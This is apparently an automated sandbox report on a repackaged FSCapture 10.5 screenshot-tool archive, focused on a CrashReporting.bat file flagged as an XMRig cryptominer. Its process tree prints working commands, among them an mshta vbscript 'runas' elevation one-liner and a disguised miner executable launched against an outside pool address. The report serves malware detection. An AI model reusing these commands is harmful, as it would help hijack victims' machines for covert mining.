Overview
overview
10Static
static
10FSCapture-...wn.url
windows7-x64
6FSCapture-...wn.url
windows10-2004-x64
3FSCapture-...on.dll
windows7-x64
3FSCapture-...on.dll
windows10-2004-x64
3FSCapture-...01.dll
windows7-x64
3FSCapture-...01.dll
windows10-2004-x64
3FSCapture-...02.exe
windows7-x64
1FSCapture-...02.exe
windows10-2004-x64
1FSCapture-...03.exe
windows7-x64
3FSCapture-...03.exe
windows10-2004-x64
3FSCapture-...04.exe
windows7-x64
3FSCapture-...04.exe
windows10-2004-x64
3FSCapture-...05.dll
windows7-x64
3FSCapture-...05.dll
windows10-2004-x64
3FSCapture-...re.exe
windows7-x64
3FSCapture-...re.exe
windows10-2004-x64
3FSCapture-...ir.exe
windows7-x64
3FSCapture-...ir.exe
windows10-2004-x64
3FSCapture-...us.exe
windows7-x64
3FSCapture-...us.exe
windows10-2004-x64
3FSCapture-...er.exe
windows7-x64
3FSCapture-...er.exe
windows10-2004-x64
3FSCapture-...uv.dll
windows7-x64
3FSCapture-...uv.dll
windows10-2004-x64
3FSCapture-...bp.dll
windows7-x64
3FSCapture-...bp.dll
windows10-2004-x64
3FSCapture-...ng.bat
windows7-x64
10FSCapture-...ng.bat
windows10-2004-x64
10FSCapture-...se.exe
windows7-x64
10FSCapture-...se.exe
windows10-2004-x64
10FSCapture-...64.sys
windows7-x64
1FSCapture-...64.sys
windows10-2004-x64
1Analysis
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max time kernel
142s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
04/11/2024, 04:46
Behavioral task
behavioral1
Sample
FSCapture-10.5-CN/bin/423Down.url
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
FSCapture-10.5-CN/bin/423Down.url
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
FSCapture-10.5-CN/bin/FSCIcon.dll
Resource
win7-20240708-en
Behavioral task
behavioral4
Sample
FSCapture-10.5-CN/bin/FSCIcon.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
FSCapture-10.5-CN/bin/FSCPlugin01.dll
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
FSCapture-10.5-CN/bin/FSCPlugin01.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
FSCapture-10.5-CN/bin/FSCPlugin02.exe
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
FSCapture-10.5-CN/bin/FSCPlugin02.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
FSCapture-10.5-CN/bin/FSCPlugin03.exe
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
FSCapture-10.5-CN/bin/FSCPlugin03.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
FSCapture-10.5-CN/bin/FSCPlugin04.exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
FSCapture-10.5-CN/bin/FSCPlugin04.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
FSCapture-10.5-CN/bin/FSCPlugin05.dll
Resource
win7-20241010-en
Behavioral task
behavioral14
Sample
FSCapture-10.5-CN/bin/FSCPlugin05.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
FSCapture-10.5-CN/bin/FSCapture.exe
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
FSCapture-10.5-CN/bin/FSCapture.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
FSCapture-10.5-CN/bin/FSCrossHair.exe
Resource
win7-20241010-en
Behavioral task
behavioral18
Sample
FSCapture-10.5-CN/bin/FSCrossHair.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
FSCapture-10.5-CN/bin/FSFocus.exe
Resource
win7-20240903-en
Behavioral task
behavioral20
Sample
FSCapture-10.5-CN/bin/FSFocus.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral21
Sample
FSCapture-10.5-CN/bin/FSRecorder.exe
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
FSCapture-10.5-CN/bin/FSRecorder.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
FSCapture-10.5-CN/bin/libsharpyuv.dll
Resource
win7-20241010-en
Behavioral task
behavioral24
Sample
FSCapture-10.5-CN/bin/libsharpyuv.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral25
Sample
FSCapture-10.5-CN/bin/libwebp.dll
Resource
win7-20241010-en
Behavioral task
behavioral26
Sample
FSCapture-10.5-CN/bin/libwebp.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral27
Sample
FSCapture-10.5-CN/bin/re/lib/CrashReporting.bat
Resource
win7-20240903-en
Behavioral task
behavioral28
Sample
FSCapture-10.5-CN/bin/re/lib/CrashReporting.bat
Resource
win10v2004-20241007-en
Behavioral task
behavioral29
Sample
FSCapture-10.5-CN/bin/re/lib/FSCapture_license.exe
Resource
win7-20240903-en
Behavioral task
behavioral30
Sample
FSCapture-10.5-CN/bin/re/lib/FSCapture_license.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral31
Sample
FSCapture-10.5-CN/bin/re/lib/WinRing0x64.sys
Resource
win7-20240903-en
Behavioral task
behavioral32
Sample
FSCapture-10.5-CN/bin/re/lib/WinRing0x64.sys
Resource
win10v2004-20241007-en
General
-
Target
FSCapture-10.5-CN/bin/re/lib/CrashReporting.bat
-
Size
297B
-
MD5
e6dbc17aa2a36550f8270f32a098a798
-
SHA1
66f251fa6ef24baa8cb7e31aa656d462847239cd
-
SHA256
0e0878dcfc98f47a14e9eca075fdd1c2dcec6397f73b93c545fb26e4d6c1784f
-
SHA512
1bb8cc733aa1051479cc22361fba56e7b5bc9eb15dea7f3f1713a51178eb1698c5aba19d2366c1475d273a30453d3d19693611d7a8be67d459b6589052fb1beb
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 14 IoCs
resource yara_rule behavioral28/memory/4456-3-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-4-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-5-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-6-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-7-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-8-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-9-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-10-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-11-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-12-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-13-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-14-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-15-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig behavioral28/memory/4456-16-0x0000000000400000-0x0000000000E80000-memory.dmp xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation mshta.exe -
Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
pid Process 1988 mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Kills process with taskkill 1 IoCs
pid Process 3940 taskkill.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings mshta.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 3940 taskkill.exe Token: SeLockMemoryPrivilege 4456 FSCapture_license.exe Token: SeLockMemoryPrivilege 4456 FSCapture_license.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1036 wrote to memory of 1988 1036 cmd.exe 85 PID 1036 wrote to memory of 1988 1036 cmd.exe 85 PID 1988 wrote to memory of 3636 1988 mshta.exe 86 PID 1988 wrote to memory of 3636 1988 mshta.exe 86 PID 3636 wrote to memory of 3940 3636 cmd.exe 88 PID 3636 wrote to memory of 3940 3636 cmd.exe 88 PID 3636 wrote to memory of 4456 3636 cmd.exe 91 PID 3636 wrote to memory of 4456 3636 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FSCapture-10.5-CN\bin\re\lib\CrashReporting.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1036 -
C:\Windows\system32\mshta.exemshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\AppData\Local\Temp\FSCAPT~1.5-C\bin\re\lib\CRASHR~1.BAT","goto :target","","runas",1)(window.close)2⤵
- Checks computer location settings
- Access Token Manipulation: Create Process with Token
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\FSCAPT~1.5-C\bin\re\lib\CRASHR~1.BAT" goto :target3⤵
- Suspicious use of WriteProcessMemory
PID:3636 -
C:\Windows\system32\taskkill.exetaskkill /f /t /im FSCapture_license.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3940
-
-
C:\Users\Admin\AppData\Local\Temp\FSCAPT~1.5-C\bin\re\lib\FSCapture_license.exeFSCapture_license.exe -o 104.168.101.23:34512 -t 7 -B -k4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4456
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